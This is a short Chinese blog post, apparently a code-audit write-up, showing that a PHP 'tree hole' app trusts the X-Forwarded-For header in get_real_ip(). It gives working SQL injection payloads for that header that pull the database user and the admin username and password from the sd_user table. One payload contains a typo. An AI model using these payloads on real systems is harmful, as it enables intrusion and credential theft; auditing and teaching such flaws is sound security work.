美文网首页
代码审计树洞X_FORWARDED_FOR注入

代码审计树洞X_FORWARDED_FOR注入

作者: 蚁景科技 | 来源:发表于2018-08-02 09:13 被阅读10次
本文为原创文章,转载请注明出处

官网:https://yun.aoaoao.me/

/includes/function.php 36-52 行

function get_real_ip(){

$ip=false;

if(!empty($_SERVER["HTTP_CLIENT_IP"])){

$ip = $_SERVER["HTTP_CLIENT_IP"];

}

if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {

$ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);

if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }

for ($i = 0; $i < count($ips); $i++) {

if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) {

$ip = $ips[$i];

break;

}

}

}

return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);

}

获取HTTP_X_FORWARDED_FOR  

HTTP_X_FORWARDED_FOR是可以用户自定义的

没做什么过滤 取出函数输出一波

看到输出就知道了一切(其实不看也知道)( ̄▽ ̄*)

全局查找get_real_ip()  IP功能一般在用户登陆 注册 留言 这些是比较常见的

/includes/save.php 23-28 行

INSERT 注入原理我这里就不讲了

带上 ming 参数 (post) 

构造payload

X-Forwarded-For: 1.1.1.1',user(),'0',1,1); #

ming=123

爆用户名: X-Forwarded-For: 1.1.1.1',(select username from sd_user where id=1),'0',uid,uid); # 

爆密码: X-Forwarded-For: 1.1.1.1',(select pwdfrom sd_user where id=1),'0',uid,uid); #


文章仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。

相关文章

网友评论

      本文标题:代码审计树洞X_FORWARDED_FOR注入

      本文链接:https://www.haomeiwen.com/subject/vkfjvftx.html